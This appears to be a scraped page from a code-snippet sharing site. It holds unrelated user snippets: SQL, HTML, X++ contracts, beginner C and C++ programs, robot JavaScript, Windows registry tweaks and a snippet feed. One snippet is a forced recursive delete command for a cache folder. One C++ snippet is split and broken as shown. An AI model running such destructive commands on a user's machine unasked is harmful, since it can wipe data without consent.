describe Manufacturers;

INSERT INTO Manufacturers VALUES (1, 'Sony');
INSERT INTO Manufacturers VALUES (2, 'Creative labs');
INSERT INTO Manufacturers VALUES (3, 'Hewlett-Packard');
INSERT INTO Manufacturers VALUES (4, 'Iomega');
INSERT INTO Manufacturers VALUES (5, 'Fujitsu');
INSERT INTO Manufacturers VALUES (6, 'Winchester');

SELECT * FROM Manufacturers;
CREATE TABLE Manufacturers (
Code int not null,
Name varchar(20) not null,
PRIMARY KEY (Code));

describe Manufacturers;

INSERT INTO Manufacturers VALUES (1, 'Sony');
INSERT INTO Manufacturers VALUES (2, 'Creative labs');
INSERT INTO Manufacturers VALUES (3, 'Hewlett-Packard');
INSERT INTO Manufacturers VALUES (4, 'Iomega');
INSERT INTO Manufacturers VALUES (5, 'Fujitsu');
INSERT INTO Manufacturers VALUES (6, 'Winchester');

SELECT * FROM Manufacturers;
1.<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pink Frag Event Organizer</title>
    <style>
        /* External CSS for styling the menu and content */
        body {
            font-family: Arial, sans-serif; /* Set font for the body */
            margin: 20px; /* Add margin around the body */
            background-color: #f9f9f9; /* Light background color */
        }

        /* Link styles */
        a {
            background-color: #00CED1; /* Default background color */
            color: #000000; /* Default text color */
            width: 100px; /* Width of the links */
            border: 1px solid #000000; /* Border styling */
            padding: 15px; /* Padding around text */
            text-align: center; /* Center text */
            text-decoration: none; /* Remove underline */
            display: block; /* Display as block element */
            margin: 5px 0; /* Add margin between links */
        }

        /* Hover effect */
        a:hover {
            background-color: #4CAF50; /* Background color on hover */
            color: #FFFFFF; /* Text color on hover */
        }

        /* Active effect */
        a:active {
            background-color: #F0E68C; /* Background color when active */
            color: #FF8C00; /* Text color when active */
        }
    </style>
</head>
<body>
    <center>
        <h1>Pink Frag Event Organizer</h1><br>
    </center>
    <table width="100%">
        <tr>
            <td width="20%">
                <a id="home1" href="index.html">Home</a><br>
                <a id="events" href="events.html">Events</a><br>
                <a id="aboutus" href="aboutUs.html">About Us</a><br>
                <a id="contactus" href="contactUs.html">Contact Us</a><br>
            </td>
            <td width="80%" style="display: inline-block;margin-top: -20px;">
                <h2>Welcome to Pink Frag Event Organizer</h2>
                <p>We are indulged in offering a Promotional Event Management. 
                These services are provided by our team of professionals as 
                per the requirement of the client. 
                These services are highly praised for their features like 
                sophisticated technology, effective results, and reliability. We offer 
                these services in a definite time frame and at affordable rates.</p>
            </td>
        </tr>
    </table>
</body>
</html>
2.----->
  <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wedding Album</title>
    <style>
        /* Styles for the images */
        img {
            max-width: 100%; /* Ensures images are responsive */
            height: auto; /* Maintains aspect ratio */
            margin: 10px; /* Adds some space around images */
        }
    </style>
</head>
<body>
    <h1>Wedding Album</h1>
    <img src="wedding.jpg" alt="Wedding Photo" /> <!-- First image without effects -->
    <img src="wedding.jpg" alt="Wedding Photo in Grayscale" style="filter: grayscale(100%);" /> <!-- Second image with grayscale effect -->
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Simple Calculator</title>
    <script>
        function add() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            const result = val1 + val2;
            document.getElementById('result').textContent = `Addition of ${val1} and ${val2} is ${result}`;
        }

        function sub() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            const result = val1 - val2;
            document.getElementById('result').textContent = `Subtraction of ${val1} and ${val2} is ${result}`;
        }

        function mul() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            const result = val1 * val2;
            document.getElementById('result').textContent = `Multiplication of ${val1} and ${val2} is ${result}`;
        }

        function div() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            if (val2 === 0) {
                document.getElementById('result').textContent = "Error: Division by zero";
            } else {
                const result = val1 / val2;
                document.getElementById('result').textContent = `Division of ${val1} and ${val2} is ${result}`;
            }
        }
    </script>
</head>
<body>
    <h1>Simple Calculator</h1>
    <h3>Simple Calculator</h3>
    <label for="value1">Value 1:</label>
    <input type="number" id="value1" placeholder="Enter first number">
    <br>
    <label for="value2">Value 2:</label>
    <input type="number" id="value2" placeholder="Enter second number">
    <br><br>
    <button name="add" onclick="add()">ADDITION</button>
    <button name="sub" onclick="sub()">SUBTRACT</button>
    <button name="mul" onclick="mul()">MULTIPLY</button>
    <button name="div" onclick="div()">DIVISION</button>
    <br><br>
    <div id="result">Result: </div>
</body>
</html>
[DataContractAttribute]
public class NW_POConfirmationContract
{
    str 25            RequestID;
    TransDate         RequestDate;
    PurchIdBase       PurchaseOrder;
    PurchRFQCaseId    RFQId;
    PurchReqId        PurchReqId;
    Email             Email;
    str 200           SubjectOrProjectTitle;
    str               PoReport;
    EcoResProductType ProductType;
    VendAccount       Supplier;
    DlvDate           DeliveryDate;
    NW_Attachement    Attachment;
    List              Lines;
    List              Attachements;
    boolean           confirm, reject;

    [DataMemberAttribute('RequestID')]
    public str ParmRequestID(str _RequestID = RequestID)
    {
        RequestID = _RequestID;
        return RequestID;
    }

    [DataMemberAttribute('RequestDate')]
    public TransDate ParmRequestDate(TransDate _RequestDate = RequestDate)
    {
        RequestDate = _RequestDate;
        return RequestDate;
    }

    [DataMemberAttribute('PurchaseOrder')]
    public PurchIdBase ParmPurchaseOrder(PurchIdBase _PurchaseOrder = PurchaseOrder)
    {
        PurchaseOrder = _PurchaseOrder;
        return PurchaseOrder;
    }

    [DataMemberAttribute('RFQId')]
    public PurchRFQCaseId ParmRFQId(PurchRFQCaseId _RFQId = RFQId)
    {
        RFQId = _RFQId;
        return RFQId;
    }

    [DataMemberAttribute('OfficialContactEmail')]
    public Email ParmOfficialContactEmail(Email _Email = Email)
    {
        Email = _Email;
        return Email;
    }

    [DataMemberAttribute('PurchReqId')]
    public PurchReqId ParmPurchReqId(PurchReqId _PurchReqId = PurchReqId)
    {
        PurchReqId = _PurchReqId;
        return PurchReqId;
    }

    [DataMemberAttribute('SubjectOrProjectTitle')]
    public str ParmSubjectOrProjectTitle(str _SubjectOrProjectTitle = SubjectOrProjectTitle)
    {
        SubjectOrProjectTitle = _SubjectOrProjectTitle;
        return SubjectOrProjectTitle;
    }

    [DataMemberAttribute('ProductType')]
    public EcoResProductType ParmProductType(EcoResProductType _ProductType = ProductType)
    {
        ProductType = _ProductType;
        return ProductType;
    }

    [DataMemberAttribute('Supplier')]
    public VendAccount ParmSupplier(VendAccount _Supplier = Supplier)
    {
        Supplier = _Supplier;
        return Supplier;
    }

    [DataMemberAttribute('DeliveryDate')]
    public DlvDate ParmDeliveryDate(DlvDate _DeliveryDate = DeliveryDate)
    {
        DeliveryDate = _DeliveryDate;
        return DeliveryDate;
    }

    [DataMemberAttribute('IsConfirmedFromPortal')]
    public boolean ParmIsConfirmedFromPortal(boolean _confirm = confirm)
    {
        confirm = _confirm;
        return confirm;
    }

    [DataMemberAttribute('IsRejected')]
    public boolean ParmIsRejected(boolean _reject = reject)
    {
        reject = _reject;
        return reject;
    }

    [DataMemberAttribute('POReport')]
    public str ParmPoReport(str _PoReport = PoReport)
    {
        PoReport = _PoReport;
        return PoReport;
    }

    [DataMemberAttribute('Attachment')]
    public NW_Attachement ParmAttachment(NW_Attachement _Attachment = Attachment)
    {
        Attachment = _Attachment;
        return Attachment;
    }

    [DataMemberAttribute('Lines') , 
        AifCollectionType('Lines',Types::Class , classStr(NW_POConfirmationLinesContract))]
    public List ParmLines(List _Lines = Lines)
    {
        Lines = _Lines;
        return Lines;
    }

    [DataMemberAttribute('Attachements'), AifCollectionType('Attachements', Types::Class , classStr(NW_Attachement))]
    public List ParmAttachements(List _Attachements = Attachements)
    {
        Attachements = _Attachements;
        return Attachements;
    }

}
//-------------------------
[DataContractAttribute]
public class NW_POConfirmationLinesContract
{
    ItemIdSmall     ItemId;
    Description     Description;
    str 100         CategoryName;
    PurchOrderedQty Quantity;
    PurchUnit       PurchUnit;
    PurchPrice      Price;
    CurrencyCode    CurrencyCode;
    PurchPrice      TotalPrice;
    str 200         DeliveryLocation;
    TaxAmountCur    Tax;
    Amount          TotalOrderPrice;
    str             AdditionalNotes;
    List            Attachements;

    [DataMemberAttribute('ItemId')]
    public ItemIdSmall ParmItemId(ItemIdSmall _ItemId = ItemId)
    {
        ItemId = _ItemId;
        return ItemId;
    }

    [DataMemberAttribute('Description')]
    public Description ParmDescription(Description _Description = Description)
    {
        Description = _Description;
        return Description;
    }

    [DataMemberAttribute('CategoryName')]
    public str ParmCategoryName(str _CategoryName = CategoryName)
    {
        CategoryName = _CategoryName;
        return CategoryName;
    }

    [DataMemberAttribute('Quantity')]
    public PurchOrderedQty ParmQuantity(PurchOrderedQty _Quantity = Quantity)
    {
        Quantity = _Quantity;
        return Quantity;
    }

    [DataMemberAttribute('PurchUnit')]
    public PurchUnit ParmPurchUnit(PurchUnit _PurchUnit = PurchUnit)
    {
        PurchUnit = _PurchUnit;
        return PurchUnit;
    }

    [DataMemberAttribute('CurrencyCode')]
    public CurrencyCode ParmCurrencyCode(CurrencyCode _CurrencyCode = CurrencyCode)
    {
        CurrencyCode = _CurrencyCode;
        return CurrencyCode;
    }

    [DataMemberAttribute('Price')]
    public PurchPrice ParmPrice(PurchPrice _Price = Price)
    {
        Price = _Price;
        return Price;
    }

    [DataMemberAttribute('TotalPrice')]
    public PurchPrice ParmTotalPrice(PurchPrice _TotalPrice = TotalPrice)
    {
        TotalPrice = _TotalPrice;
        return TotalPrice;
    }

    [DataMemberAttribute('DeliveryLocation')]
    public str ParmDeliveryLocation(str _DeliveryLocation = DeliveryLocation)
    {
        DeliveryLocation = _DeliveryLocation;
        return DeliveryLocation;
    }

    [DataMemberAttribute('Tax')]
    public TaxAmountCur ParmTax(TaxAmountCur _Tax = Tax)
    {
        Tax = _Tax;
        return Tax;
    }

    [DataMemberAttribute('TotalOrderPrice')]
    public Amount ParmTotalOrderPrice(Amount _TotalOrderPrice = TotalOrderPrice)
    {
        TotalOrderPrice = _TotalOrderPrice;
        return TotalOrderPrice;
    }

    [DataMemberAttribute('AdditionalNotes')]
    public str ParmAdditionalNotes(str _AdditionalNotes = AdditionalNotes)
    {
        AdditionalNotes = _AdditionalNotes;
        return AdditionalNotes;
    }

    //[DataMemberAttribute('Attachement')]
    [DataMemberAttribute('Attachements'), AifCollectionType('Attachements', Types::Class , classStr(NW_Attachement))]
    public List ParmAttachements(List _Attachements = Attachements)
    {
        Attachements = _Attachements;
        return Attachements;
    }

}
btn = Button (win, image = img, bd = 0, highlightthickness = 0)
// Mission 1 
const motorL = ev3_motorA(); // A port
const motorR = ev3_motorD(); // D port
display(ev3_connected(motorL) ? "L connected" : "L not connected");
display(ev3_connected(motorR) ? "R connected" : "R not connected");

// Q1
function speak(words) {
    return ev3_speak(words);
}

// speak("I am human");
// ok works

// Q2
//circum of wheel: 6 pi

function move_forward(length) { // length, in cm 
    const speed = 100;
    const pos = length/(6 * math_PI) * 360; // pos (in deg): degree turned by wheel 
    // const time = 1 * 1000; 
    const time = math_abs(pos/speed) * 1000; // time (in ms): pos(deg), speed(degree/second)
                                      //math_abs to keep time always positive 
    // doc: ev3_runToRelativePosition(motor, position, speed);
    ev3_runToRelativePosition(motorL, pos, speed);
    ev3_runToRelativePosition(motorR, pos, speed);
    
    return ev3_pause(time); // do we need a return value?
}

// move_forward(-10); // 10cm



// Q3
function turn(deg) { // clockwise
    const speed = 100;
    const time = math_abs(deg * 2/ speed) * 1000;
    ev3_runToRelativePosition(motorL, deg * 2, speed);
    ev3_runToRelativePosition(motorR, - (deg * 2), speed);
    return ev3_pause(time);
}

const turn_left = () => turn(90); // makes it a function instead of funct call
const turn_right = () => turn(-90);

// Q4
function mission1_q4() {
    move_forward(10);
    turn_left();
    move_forward(5);
    turn_right();
    move_forward(15);
} 

mission1_q4();

/* ATTENDANCE CHECK
PRATEEK
yijie
hazel 
clemen
Hari
jiesheng
zele
James
*/
#include<stdio.h>
// Author- Khadiza Sultana
// Date- 10/8/2024
// Prints the Calendar of a month 
int main()
{
    int n, i, day; // n stores the number of days in the month, i used as a loop counter, day stores the starting day of the week(from 1 to 7, where 1= Sunday, 7= saturday)
    printf("Enter number of days in month:");
    scanf("%d", &n);
    printf("Enter starting day of the week (1=Sun, 7=Sat): ");
    scanf("%d", &day);
    for(i = 1; i < day; ++i) // This loop is responsible for printing spaces before the first day of the month.
    // If day == 1, no spaces are printed before thr month starts on sunday.
    // If day == 4, the loop runs three times and prints three spaces to align the first day under Wednesday
    {
        printf("   "); // three spacesto allign the days even when there's two digit days the days will be aligned 
    }
    for(i = 1; i <= n; i++, day++) // Prints the actual days of the month.
    // the day++ inside the for loop increments the day variable with each iteration, so the program knows when to start a new line after printing Saturday
    {
        printf("%2d ", i);
        if(day == 7)
        {
            day = 0;
            printf("\n");
        }
    }

    return 0;
}
{
	"blocks": [
		{
			"type": "header",
			"text": {
				"type": "plain_text",
				"text": ":star: Xero Boost Days! :star:"
			}
		},
		{
			"type": "section",
			"text": {
				"type": "mrkdwn",
				"text": "Canberra! Please see below for what's on this week! "
			}
		},
		{
			"type": "divider"
		},
		{
			"type": "header",
			"text": {
				"type": "plain_text",
				"text": ":calendar-date-9: Wednesday,9th october",
				"emoji": true
			}
		},
		{
			"type": "section",
			"text": {
				"type": "mrkdwn",
				"text": "\n:Lunch: *Lunch*: Provided in our suite from *12pm*."
			}
		},
		{
			"type": "divider"
		},
		{
			"type": "section",
			"text": {
				"type": "mrkdwn",
				"text": "Stay tuned to this channel for more details, check out the <https://calendar.google.com/calendar/u/0?cid=Y19jYzU3YWJkZTE4ZTE0YzVlYTYxMGU4OThjZjRhYWQ0MTNhYmIzMDBjZjBkMzVlNDg0M2M5NDQ4NDk3NDAyYjkyQGdyb3VwLmNhbGVuZGFyLmdvb2dsZS5jb20|*Canberra Social Calendar*>, and get ready to Boost your workdays!\n\nLove,\nWX Team :party-wx:"
			}
		}
	]
}
#include<stdio.h>
// Author- Khadiza Sultana
// Date- 10/8/2024
// printing all even squares from 1 to n
#include<math.h> // includin math.h library for the pow function. We can simply write i*i instead

int main() { 
    int n;
    printf("Enter a number: ");
    scanf("%d", &n);
    
    int i = 1;
    while(pow(i,2)<= n) // checking if i^2 is equal to n or not. If yes then the loop is stoped. If no then continue
    {
        int square = pow(i,2); // storing the squares of the numbers
        if(square % 2 == 0) // checking if the squares are even or not
        {
            printf("%d\n", square);
        }
        i++; // incrementing i
    }
    
    return 0;
}
#include<stdio.h>
// Author- Khadiza Sultana
// 10/8/2024
// Takes a fraction and prints the lowest form of the fraction

int main() {
    int a, b, x, y, gcd; // Take two integers as input
    printf("Enter the fraction (a/b): ");
    scanf("%d/%d", &a, &b);

    x = a;
    y = b;

    // Using Euclidean algorithm to find the GCD of a and b
    while (y != 0) {
        int remainder = x % y;
        x = y;
        y = remainder;
    }

    // x now contains the GCD
    gcd = x;

    // Dividing both numerator and denominator by GCD to get the reduced fraction
    a = a / gcd;
    b = b / gcd;

    printf("In lowest terms: %d/%d\n", a, b);
    
    return 0;
}
#include<stdio.h>
// Author- Khadiza Sultana
// 10/8/2024
// Determing GCD of two integers using loop
int main()
{
    int a, b; // take two integers as input
    printf("Enter the integers:");
    scanf("%d %d", &a, &b);
    while (b!=0)
    {
      int remainder = a % b; //1. Determining the remainder of a/b
      a = b; //2. storing b into a
      b = remainder;//3. storing remainder into b
    }
    printf("The GCD of the two integers is: %d", a); // 'a' holds the GCD after the loop
    return 0;
}
#include<stdio.h>
// Author- Khadiza Sultana
// 10/8/2024
//Finding the largest number with the help of loop
int main()
{
    double number = 0, largest = 0; // initialization is done
    for(;;)
    {
        printf("Enter the number:");
        scanf("%lf", &number);
       
        if(number <= 0)
           break; // when zero or negative number then the infinite loop is broke

        if(number > largest)
           largest = number; // storing the largest number after comparing
    }
    printf("\nThe largest number is %g\n", largest);
   
    return 0;
}
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans

x=[4,5,10,4,3,11,14,6,10,12]
y=[21,19,24,17,16,25,24,22,21,21]

data=list(zip(x,y))
print(data)

inertia=[]
for i in range(1,11):
    kmeans=KMeans(n_clusters=i)
    kmeans.fit(data)
    inertia.append(kmeans.inertia_)
plt.plot(range(1,11),inertia,marker='o')
plt.title("Elbow Method")
plt.xlabel("no of clusters")
plt.ylabel("inertias")
plt.show()

kmean=KMeans(n_clusters=2)
kmean.fit(data)

plt.scatter(x,y,c=kmean.labels_)
plt.show()
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans

x=[4,5,10,4,3,11,14,6,10,12]
y=[21,19,24,17,16,25,24,22,21,21]

data=list(zip(x,y))
print(data)

inertia=[]
for i in range(1,11):
    kmeans=KMeans(n_clusters=i)
    kmeans.fit(data)
    inertia.append(kmeans.inertia_)
plt.plot(range(1,11),inertia,marker='o')
plt.title("Elbow Method")
plt.xlabel("no of clusters")
plt.ylabel("inertias")
plt.show()

kmean=KMeans(n_clusters=2)
kmean.fit(data)

plt.scatter(x,y,c=kmean.labels_)
plt.show()
>>> import jmespath
>>> path = jmespath.search('foo.bar', {'foo': {'bar': 'baz'}})
'baz'
 #include <stdio.h>

int main() {
    int N;
    scanf("%d", &N);
    for (int i = 1; i <= N; i++) {
        int n;
        scanf("%d", &n);
        while (n > 0) {
            int digit = n % 10;
            printf("%d ", digit);
            n = n / 10;
        }
        printf("\n");
    }
    return 0;
}
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsCopilot]
"TurnOffWindowsCopilot"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsCopilot]
"TurnOffWindowsCopilot"=dword:00000001

#Add or Remove Copilot Button on Taskbar in Windows 11

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowCopilotButton"=dword:00000000
function redirect_non_admin_users_to_frontend() {
$current_user = wp_get_current_user();
$allowed_roles = array('administrator', 'editor', 'author', 'contributor', 'shop_manager');

if (!array_intersect($allowed_roles, $current_user->roles)) {
wp_redirect(site_url('/'));
exit;
}
}

add_action('admin_init', 'redirect_non_admin_users_to_frontend');
#include <iostream>
using namespace std;

int main()
{
    int n;
    int m;

    std::cout << "Enter desired max of the array: " << endl;
    cin >> n;
    cin >> m;

    int* arr = new int [n * m]; // создание размерности матрицы из данных с клавиатуры
    
    for (int i = 0; i < n * m; ++i) {
        cin >> arr[i];
    }

    for (int i = 0; i < n * m; i++) {
        for (int j = 0; j < n * m - 1; j++) {
            if (arr[j] > arr[j + 1]) {

                arr[j] += arr[j + 1];
                arr[j + 1] = arr[j] - arr[j + 1];
                arr[j] = arr[j] - arr[j + 1];

            }
        }
    }

    int matrix[20][20];
    bool b_matrix[20][20];
    for (int i = 0; i < 20; ++i)
        for (int j = 0; j < 20; ++j)
            b_matrix[i][j] = false;

    int speed_x = 1;
    int speed_y = 0;
    int x = 0, y = 0;
    int turn_counter = 0;
}
for (int i = 0; i < n * m; ++i) {
        matrix[x][y] = arr[i];
        b_matrix[x][y] = true;

        if (b_matrix[x + speed_x][y + speed_y] or (0 > speed_x + x or speed_x + x > n - 1) or (0 > speed_y + y or speed_y + y > m - 1)) {
            turn_counter += 1;
            switch (turn_counter % 4)
            {
            case 1:
            {
                speed_x = 0;
                speed_y = 1;
                break;
            }
            case 2:
            {
                speed_x = -1;
                speed_y = 0;
                break;
            }
            case 3:
            {
                speed_x = 0;
                speed_y = -1;
                break;
            }
            case 0:
            {
                speed_x = 1;
                speed_y = 0;
                break;
            }
            default:
                break;
            }
        }
        x += speed_x;
        y += speed_y;

    }

    for (int i = 0; i < n; ++i) {
        for (int j = 0; j < m; ++j) {
            cout << matrix[j][i] << " ";
        }
        cout << endl;
    }

    return 0;
#Try from admin cmd
#Code:
rd /s /q \\?\C:\.cache

#Will not work if files are currently in use
#include <bits/stdc++.h>
using namespace std;

void dfs(int node, int start, int& timeCounter, vector<vector<int>>& Dsachke, vector<int>& Found, vector<int>& Lowest, vector<pair<int, int>>& BRIDGES) {
    Found[node] = Lowest[node] = timeCounter++;

    cout << "Đang thăm node: " << node << ", timeCounter: " << timeCounter << ", Found[" << node << "]: " << Found[node] << ", Lowest[" << node << "]: " << Lowest[node] << endl;

    for (int neighbor : Dsachke[node]) {
        if (neighbor == start) {
            continue;  // Bỏ qua đỉnh cha
        }
        
        if (Found[neighbor] != -1) {  // Đỉnh đã được thăm
            Lowest[node] = min(Lowest[node], Found[neighbor]);
            cout << "Thăm lại neighbor: " << neighbor << ", Found[" << neighbor << "]: " << Found[neighbor] << ", cập nhật Lowest[" << node << "]: " << Lowest[node] << endl;
        } 
        else {  // Đỉnh chưa được thăm
            dfs(neighbor, node, timeCounter, Dsachke, Found, Lowest, BRIDGES);
            Lowest[node] = min(Lowest[node], Lowest[neighbor]);

            cout << "Quay lại từ neighbor: " << neighbor << ", cập nhật Lowest[" << node << "]: " << Lowest[node] << endl;

            if (Lowest[neighbor] > Found[node]) {
                // Cạnh (node, neighbor) là cầu
                BRIDGES.push_back({node, neighbor});
                cout << "Cầu tìm thấy: " << node << " - " << neighbor << endl;
            }
        }
    }
}

int main() {
    int numberOfNodes, numberOfEdges, timeCounter = 0; // Số đỉnh, số cạnh và bộ đếm thời gian

    cin >> numberOfNodes >> numberOfEdges;
    // số node, số cạnh 
    vector<vector<int>> Dsachke(numberOfNodes + 1); // Danh sách kề của đồ thị
    vector<int> Found(numberOfNodes + 1, -1); // Thời gian khám phá
    vector<int> Lowest(numberOfNodes + 1, -1); // Thời gian thấp nhất
    vector<pair<int, int>> BRIDGES; // Danh sách cầu

    for (int i = 0; i < numberOfEdges; i++) {
        int a, b; // Thay nodeA, nodeB bằng a, b cho dễ hiểu
        cin >> a >> b;
        Dsachke[a].push_back(b);
        Dsachke[b].push_back(a);
    }
    // phần này dùng để nhập danh sách kề từ input

    for (int node = 1; node <= numberOfNodes; node++) {
        if (Found[node] == -1) {
            dfs(node, -1, timeCounter, Dsachke, Found, Lowest, BRIDGES);
        }
    }
    // cái này đơn giản là để nếu đồ thị bị phân ra thành n thành phần liên thông thì lệnh có thể kiểm tra từng thành phần liên thông đó

    cout << "Số cầu: " << BRIDGES.size() << endl;
    
    for (auto bridge : BRIDGES) {
        cout << bridge.first << " - " << bridge.second << endl;
    }

    // In ra các biến quan trọng
    cout << "\nKết quả biến Found: ";
    for (int i = 1; i <= numberOfNodes; i++) {
        cout << Found[i] << " ";
    }
    cout << "\nKết quả biến Lowest: ";
    for (int i = 1; i <= numberOfNodes; i++) {
        cout << Lowest[i] << " ";
    }
    cout << "\nGiá trị cuối cùng của timeCounter: " << timeCounter << endl;

    return 0;
}
SOQL
Author: Steven Trumble
Have a useful SOQL query you want to add? Leave a comment with the query!
Salesforce Developers
Salesforce Developer Website

https://developer.salesforce.com/docs/atlas.en-us.soql_sosl.meta/soql_sosl/sforce_api_calls_soql.htm
Useful links
Useful Tools for SOQL
MidAtlantic Dreamin’ 2024 Presentation
Object fields and data types
Flows and PBs
Validation Rules
User info
Reports and Dashboards
Approval Process
Logs
Scheduled Jobs
Field Info
Things to clean up
import { LightningElement } from 'lwc';

export default class ScrollToElement extends LightningElement {
    handleScrollClick() {
        console.log('Button clicked');
        const topDiv = this.template.querySelector('[data-id="redDiv"]');
        if (topDiv) {
            topDiv.scrollIntoView({ behavior: 'smooth', block: 'start', inline: 'nearest' });
        }
    }
}
function lengthOfLIS(nums: number[]): number {
    const dp = new Array(nums.length).fill(1);
     for (let i = 1; i < nums.length; i++) {
        for (let j = 0; j < i; j++) {
            if(nums[j] < nums[i]) {
                dp[i] = Math.max(dp[i],dp[j]+1,);
            }
        }
     }
    return Math.max(...dp);
};
star

Wed Oct 09 2024 10:54:36 GMT+0000 (Coordinated Universal Time) https://datalemur.com/questions/cards-issued-difference

@vhasepta

star

Wed Oct 09 2024 10:51:15 GMT+0000 (Coordinated Universal Time) https://datalemur.com/questions/duplicate-job-listings

@vhasepta

star

Wed Oct 09 2024 08:51:49 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Wed Oct 09 2024 08:08:08 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Wed Oct 09 2024 06:45:40 GMT+0000 (Coordinated Universal Time)

@mdfaizi

star

Wed Oct 09 2024 06:26:18 GMT+0000 (Coordinated Universal Time)

@omnixima #javascript

star

Wed Oct 09 2024 05:08:33 GMT+0000 (Coordinated Universal Time)

@pipinskie

star

Tue Oct 08 2024 20:49:54 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Tue Oct 08 2024 20:35:13 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Tue Oct 08 2024 20:26:39 GMT+0000 (Coordinated Universal Time)

@saharmess

star

Tue Oct 08 2024 20:23:58 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Tue Oct 08 2024 20:02:04 GMT+0000 (Coordinated Universal Time) https://chatgpt.com/share/67058f8f-b858-800d-960d-344eda20e8c0

@mdfaizi

star

Tue Oct 08 2024 19:52:37 GMT+0000 (Coordinated Universal Time) https://pastebin.com/raw/6D3Eibmv

@blockchained

star

Tue Oct 08 2024 19:27:12 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Tue Oct 08 2024 19:01:49 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Tue Oct 08 2024 12:43:35 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 12:34:51 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 12:12:46 GMT+0000 (Coordinated Universal Time) https://www.cryptocurrencyscript.com/pancakeswap-clone-script

@joepaully

star

Tue Oct 08 2024 11:30:16 GMT+0000 (Coordinated Universal Time) https://maticz.com/sandbox-clone-script

@jamielucas #drupal

star

Tue Oct 08 2024 11:23:54 GMT+0000 (Coordinated Universal Time) https://764390.mobirisesite.com/

@Unknown

star

Tue Oct 08 2024 11:03:32 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 11:03:09 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 09:41:13 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Tue Oct 08 2024 09:27:47 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Tue Oct 08 2024 08:56:08 GMT+0000 (Coordinated Universal Time)

@MinaTimo

star

Tue Oct 08 2024 08:24:10 GMT+0000 (Coordinated Universal Time) https://studywithowl.tistory.com/entry/PythonTkinter-Tkinter에서-버튼-테두리-없애는-방법

@hajinjang0714

star

Tue Oct 08 2024 06:07:39 GMT+0000 (Coordinated Universal Time)

@hkrishn4a

star

Tue Oct 08 2024 00:54:21 GMT+0000 (Coordinated Universal Time)

@FOHWellington

star

Mon Oct 07 2024 18:32:28 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/watch?v=jZiZs8cZAKU&t=1568s

@rstringa #view-transitions

star

Mon Oct 07 2024 17:58:59 GMT+0000 (Coordinated Universal Time)

@bvc

star

Mon Oct 07 2024 17:58:35 GMT+0000 (Coordinated Universal Time)

@bvc

star

Mon Oct 07 2024 17:31:23 GMT+0000 (Coordinated Universal Time) https://github.com/jmespath/jmespath.py

@mathewmerlin72 #python

star

Mon Oct 07 2024 17:08:34 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/c-programming/online-compiler/

@tasfiqe

star

Mon Oct 07 2024 11:54:57 GMT+0000 (Coordinated Universal Time) https://www.ntlite.com/community/index.php?threads/windows-11.2235/page-46#:~:text=%5BHKEY_CURRENT_USER%5CSoftware%5CPolicies%5CMicrosoft%5CWindows%5CWindowsCopilot%5D%0A%22TurnOffWindowsCopilot%22%3Ddword%3A00000001%0A%0A%5BHKEY_LOCAL_MACHINE%5CSOFTWARE%5CPolicies%5CMicrosoft%5CWindows%5CWindowsCopilot%5D%0A%22TurnOffWindowsCopilot%22%3Ddword%3A00000001

@Curable1600 #windows

star

Mon Oct 07 2024 10:43:37 GMT+0000 (Coordinated Universal Time)

@webisko #php

star

Mon Oct 07 2024 09:33:33 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Mon Oct 07 2024 09:09:15 GMT+0000 (Coordinated Universal Time) https://comptiaexamhelp.com/

@comptiaexamhelp

star

Mon Oct 07 2024 08:29:04 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/c-programming/online-compiler/

@tasfiqe

star

Mon Oct 07 2024 08:28:51 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/c-programming/online-compiler/

@tasfiqe #c

star

Mon Oct 07 2024 07:41:14 GMT+0000 (Coordinated Universal Time) https://forums.mydigitallife.net/threads/windows-11-tweaks-fixes-and-modifications-overview.83744/page-89#:~:text=permissions%20at%20all-,Try%20from%20admin%20cmd,Code%3A,-rd%20/s%20/q

@Curable1600

star

Mon Oct 07 2024 04:35:18 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/cpp-programming/online-compiler/

@LizzyTheCatto

star

Mon Oct 07 2024 02:28:16 GMT+0000 (Coordinated Universal Time) https://twilight-fibula-700.notion.site/SOQL-11cb0f056fc4445c962d6b3715206fc2?pvs

@WayneChung

star

Mon Oct 07 2024 02:22:52 GMT+0000 (Coordinated Universal Time) https://techdicer.com/mastering-element-scrolling-in-lightning-web-components/

@WayneChung

star

Sun Oct 06 2024 23:38:03 GMT+0000 (Coordinated Universal Time)

@kanatov

Save snippets that work with our extensions

